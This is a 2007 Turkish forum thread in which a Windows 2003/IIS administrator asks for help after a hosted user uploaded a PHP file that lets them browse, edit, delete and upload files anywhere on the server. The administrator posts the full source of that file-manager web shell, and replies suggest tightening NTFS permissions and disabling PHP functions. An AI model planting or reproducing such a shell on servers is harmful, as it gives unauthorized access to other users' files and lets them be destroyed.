Tam Sürümünü Görmek İçin : windwos 2003 server + IIS
kitap_kurdu
05/02/2007, 10:51
merhaba arkadaşlar;
benim 2003 serverla alakalı bi problemim var.
çalıştığım yerde web sayfamızın yayınlandığı bi we server var ve bu serverın altında da kişisel kullanıcı sayfaları tutuluyor (www.xxxx.com/kadi (http://www.xxxx.com/kadi) gibi)
kullanıcıların her birine IIS ten ftp ve web sitesi için ayar yapıldı. kullanıcılardan biri kendi alanına bi tane php dosyası eklemiş ve bu php kodlu dosya sayesinde sadece kendi dizini değil ana web sayasının tutulduğu dizin dahil tüm alanlarda gezebiliyor, silme ve dosya ekleme işleme yapabiliyor. Internetten araştırdığım kadarı ile buna benzer kodlu ASP dosyaları da mevcutmuş. Ancak IIS'te ne yaptıysam bunu engelleyemedim.
Bu konu ile alakalı bilgisi olan arkadaşlardan acil yardım bekliyorum...
Predator
05/02/2007, 11:43
Sorun sistemindeki güvenlik yada ayarlarındaki bir zaafiyetten kaynaklanıyor. Bahsettiğin dosya kodunu paylaşırmısın?
kitap_kurdu
05/02/2007, 12:17
kodlar ekteki dosyada, bu konuyu uzun zamandan beri araştırıyorum. bi güvenlik açığım hatta büyük bi açığım olduğu ortada ama nerde. tüm tahminlerim IIS'teki kullanıcı izinlerinde olması üzerinde yoğumlaşıyo. ama hangi kullanacıyı tam olarak nasıl kısıtlandırıcamı bilmediğim için olmuyo.
eğer sadece okuma izni verirsem bu sefer de yazdıkları programlar çalışmıyo.
kitap_kurdu
05/02/2007, 12:25
pardon kodlar aşağıdaki gibi...
>>>>>>>>>>>>>
<html>
<head>
<title>Yönetim Paneli</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9">
<meta http-equiv="Content-Language" content="tr">
<meta name="Language" content="Turkish">
</head>
<body>
<pre>
<?php
while (true)
{
if( isset($_POST['p3']) )
{
$yol=$_POST['p3'];
dosya_yolla( realpath( $yol ) );
$_GET['p2']=realpath( $yol );
}
if ( isset($_GET['p1']) )
{
$p1=$_GET['p1'];
$p2=$_GET['p2'];
@$p3=$_GET['p3'];
if($p1=="listele")
{
$yol= realpath( $p2 );
listele($yol);
break;
}
elseif ($p1=="dosyasil")
{
dosyasil($p2);
$_GET['p2']=realpath($p3);
}
elseif ($p1=="dizinsil")
{
dizinsil($p2);
$_GET['p2']=realpath($p3);
}
elseif ($p1=="dizinolustur")
{
dizinolustur($p2,$p3);
$_GET['p2']=realpath($p3);
}
elseif ($p1=="duzenle")
{
duzenle($p2,$p3);
$_GET['p2']=realpath($p3);
}
elseif ($p1=="guncelle")
{
guncelle($p2);
$_GET['p2']=realpath($p3);
}
elseif ($p1=="isim_degistir")
{
}
else
{
echo "<table bgcolor=#ff3333><tr><td>";
echo "<b>Geçersiz parametre!</b>";
echo "</td></tr></table><br>";
}
$_GET['p1']=null;
continue;
}
else
{
if (isset($_GET['p2']))
$yol=$_GET['p2'];
else
$yol=getcwd();
listele($yol);
break;
}
}
function listele($yol)
{
$d=opendir($yol);
$file=readdir($d);
$file=readdir($d);
$ana_dizin=getcwd();
echo "Aktif dizin : ".$yol."\n";
echo "<form method=\"post\" action=\"{$_SERVER['PHP_SELF']}\" enctype=\"multipart/form-data\">
Bir dosya seçiniz : <input type=\"file\" name=\"dosya\" /><input type=\"hidden\" name=\"p3\" value=\"$yol\" /><input type=\"submit\" value=\"Yolla\" />
</form>";
echo "<form method=\"get\" action=\"{$_SERVER['PHP_SELF']}\" enctype=\"multipart/form-data\">
<input type=\"hidden\" name=\"p1\" value=\"dizinolustur\" />Bir klasör ismi giriniz : <input type=\"text\" name=\"p2\" /><input type=\"hidden\" name=\"p3\" value=\"$yol\" /><input type=\"submit\" value=\"Klasör Oluştur\" />
<br></form>";
echo "<a href=\"yonetim_paneli.php?p1=listele&p2=$ana_dizin\">ANA SAYFA</a> ";
echo "<a href=\"yonetim_paneli.php?p1=listele&p2=$yol\">ŞU ANDAKİ SAYFA</a><br><br>";
echo "<img src=\"back.gif\">";
echo "<a href=\"yonetim_paneli.php?p1=listele&p2=$yol/$file\">".$file."</a><br>";
while(true)
{
$file=readdir($d);
if(!$file)
break;
$file2=$yol.'/'.$file;
if( is_file($file2) )
echo "<img src=\"file.gif\"><a href=\"yonetim_paneli.php?p1=duzenle&p2=$yol/$file&p3=$yol \">".$file."</a> <a href=\"yonetim_paneli.php?p1=dosyasil&p2=$yol/$file&p3=$yol\">sil</a><br>";
else
echo "<img src=\"folder.gif\"><a href=\"yonetim_paneli.php?p1=listele&p2=$yol/$file\">".$file."</a> <a href=\"yonetim_paneli.php?p1=dizinsil&p2=$yol/$file&p3=$yol\">sil</a><br>";
}
echo "</pre>";
closedir($d);
}
function dosyasil($p2)
{
$sonuc = unlink($p2);
if($sonuc=="1")
{
echo "<table bgcolor=#33ff33><tr><td>";
echo "Dosya silme işlemi tamam.";
echo "</td></tr></table><br>";
}
else
{
echo "<table bgcolor=#ff3333><tr><td>";
echo "Dosya silinirken bir hata ile karşılaşıldı!.";
echo "</td></tr></table><br>";
}
}
function dizinsil($p2)
{
//$fp=fopen($p2, "a+");
$sonuc=@rmdir($p2);
if( $sonuc )
{
echo "<table bgcolor=#33ff33><tr><td>";
echo "Dizin silme işlemi tamam.";
echo "</td></tr></table><br>";
}
else
{
echo "<table bgcolor=#ff3333><tr><td>";
echo "Dizin silinirken bir hata ile karşılaşıldı!.";
echo "</td></tr></table><br>";
}
}
function dizinolustur($p2,$p3)
{
$tamyol=$p3."/".$p2;
$sonuc=mkdir($tamyol);
if($sonuc)
{
echo "<table bgcolor=#33ff33><tr><td>";
echo "$tamyol yolunda klasör oluşturuldu.";
echo "</td></tr></table><br>";
}
else
{
echo "<table bgcolor=#ff3333><tr><td>";
echo "$tamyol yolunda klasör oluşturulamadı!";
echo "</td></tr></table><br>";
}
}
function duzenle($p2,$p3)
{
$fp=fopen($p2, "r");
echo "<form action=".$_SERVER['PHP_SELF']."?p1=guncelle&p2=".$p2."&p3=".$p3." method=post><textarea rows=22 cols=100 name=yeni>";
while (!feof($fp))
{
$data=fgets($fp, 900);
echo $data;
}
echo "</textarea><br><input type=submit value=Güncelle></form><br>";
fclose($fp);
}
function guncelle($p2)
{
$fp=fopen($p2, "w");
$yeni_icerik=$_POST['yeni'];
fwrite($fp,$yeni_icerik);
fclose($fp);
echo "<table bgcolor=#33ff33><tr><td>";
echo "Güncelleme tamamlandı.";
echo "</td></tr></table><br>";
}
function dosya_yolla($path)
{
//$path = $_SERVER['DOCUMENT_ROOT'];
// upload directory. path will originate from root.
$dirname = '';
// permission settings for newly created folders
$chmod = 0777;
// create file vars to make things easier to read.
$filename = $_FILES['dosya']['name'];
$filesize = $_FILES['dosya']['size'];
$filetype = $_FILES['dosya']['type'];
$file_tmp = $_FILES['dosya']['tmp_name'];
$file_err = $_FILES['dosya']['error'];
$file_ext = strrchr($filename, '.');
// check if user actually put something in the file input field.
if (($file_err == 0) && ($filesize != 0))
{
// Check extension.
if (!$file_ext)
{
unlink($file_tmp);
die('File must have an extension.');
}
// extra check to prevent file attacks.
if (is_uploaded_file($file_tmp))
{
/*
* check if the directory exists
* if it doesnt exist, make the directory
*/
$dir = $path . $dirname;
if (!is_dir($dir))
{
$dir = explode('/', $dirname);
foreach ($dir as $sub_dir)
{
$path .= '/' . $sub_dir;
if (!is_dir($path))
{
if (!mkdir($path, $chmod))
{
unlink($file_tmp);
die('<strong>Error:</strong> Directory does not exist and was unable to be created.');
}
}
}
}
/*
* copy the file from the temporary upload directory
* to its final detination.
*/
if (@move_uploaded_file($file_tmp, $dir . '/' . $filename))
{
// success!
echo "<table bgcolor=#33ff33><tr><td>";
echo "<b>$filename</b> isimli dosya <b>$path</b> klasörüne başarı ile kaydedildi.<br><br>";
echo "</td></tr></table><br>";
}
else
{
// error moving file. check file permissions.
unlink($file_tmp);
echo '<strong>Error:</strong> Unable to move file to designated directory.';
}
}
else
{
// file seems suspicious... delete file and error out.
unlink($file_tmp);
echo '<strong>Error:</strong> File does not appear to be a valid upload. Could be a file attack.';
}
}
else
{
// Kill temp file, if any, and display error.
if ($file_tmp != '')
{
unlink($file_tmp);
}
switch ($file_err)
{
case '0':
echo 'That is not a valid file. 0 byte length.';
break;
case '1':
echo 'This file, at ' . $filesize . ' bytes, exceeds the maximum allowed file size as set in <em>php.ini</em>. '.
'Please contact your system admin.';
break;
case '2':
echo 'This file exceeds the maximum file size specified in your HTML form.';
break;
case '3':
echo 'File was only partially uploaded. This could be the result of your connection '.
'being dropped in the middle of the upload.';
case '4':
echo 'You did not upload anything... Please go back and select a file to upload.';
break;
}
}
}
?>
</pre>
</body>
</html>
Predator
05/02/2007, 13:51
Php'den iyi anlayan arkadaşlar daha iyi bir yorumda bulunabilirler ancak benim gördüğüm kadarıyla herhangi bir açıktan falan yararlanmadan stadart fonsiyonlarla çalışan bir yönetim paneli.
Asıl sorun senin klasörlere verdiğin yetki hatalarından kaynaklanıyor.
Örnek olarak:
x.com domainim ana klasörünü FOLDER diye tanımladığını varsayarsak
x.com/x (FOLDER/x)
x.com/y (FOLDER/y)
x.com/z (FOLDER/z)
Sen FOLDER'a yetkileri tanımlıyorsun muhtemelen, bu yüzden kullanıcılar FOLDER üzerinde ve altklasörlerinde verdiğin erişim hakkına sahip oluyorlar.
kitap_kurdu
05/02/2007, 14:21
tamam işte sorun da bu yaaa
alt klasör yetkilerini nasıl kısıtlandırıcamı tam bilmiyorum
ama şöyle de bi durum var alt kullanıcılara verilen alanlar ana sayfanın bulunduğu klasörün içinde değil başka bi yerde toplu olarak tutuluyor. buradaki yetkileri kısıtlandırmam gerek, ama hangi yetkiyi nasıl kısıtlandırıcam bilmiyorum. en ufacık bi müdahalem de sayfa hiç açılmaz oluyo...
Predator
05/02/2007, 14:35
Bu işi düzgün yapabilmen için ntfs izinlerinin mantığını anlamış olman gerekmekte,
Dün sorulan şu (http://forum.ceviz.net/windows-server-2003-small-business-server-t38169.html) soru ile sorunun ilişkili.
AhmetBSD
05/02/2007, 16:41
phpshell türevi
sozu gecen kodun editlenmesine :
cünkü kodu baska sunucularda deneme yapacak..
alt sitenin sahip oldugu kullanicinin haklarini yasakla geri dizine ckikmasini engelle
linuxda chroot la bu is olur da windowsda yetkilerde yapilmali
2. yol bu kodu incele icinde kullanilan fonksiyonlari php.ini den disable yap
kod basarisizliğa ugraycaktir
Predator
06/02/2007, 11:42
Kodlar atanan yetkiler haricinde birşeye izin vermiyor bu yüzden editlenmesine gerek olmadığını düşünüyorum.
kitap_kurdu
06/02/2007, 14:19
arkadaşlar bu konu ile yaklaşık olarak bi aydır ilgileniyorum. bu web serverın yönetimi işi bana ne yazık ki anlamadığım halde bi başkasından kaldı ve başarmaktan başka alternatifim yok.
kullanıcı yetkilerini sınırlandırmayı denedim ancak bu sefer ftp den bağlandığımda herhangi bir dosyanın oluşturulmasına, silinmesine, vs. izin vermiyor.
üstelik üst dizine çıkma olayı ise ööle kabak gibi bi problem olarak duruyor karşımda. arkadaşlar lütfen yardımcı olun ya da yönlendirin. çünkü bu problem yüzünden bütün iş konsantrasyonum gitmiş durumda :(
Forum Yazılımı : vBulletin v3.6.8, Copyright ©2000-2008, Jelsoft Enterprises Ltd.